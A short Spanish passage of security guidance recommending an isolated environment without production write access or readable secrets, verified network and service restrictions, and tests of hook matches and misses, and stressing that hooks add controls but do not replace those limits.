Un entorno aislado sin escritura productiva ni secretos legibles, restricciones de red y servicio verificadas y pruebas de coincidencias y omisiones del hook. Los hooks añaden controles, pero no sustituyen esos límites obligatorios.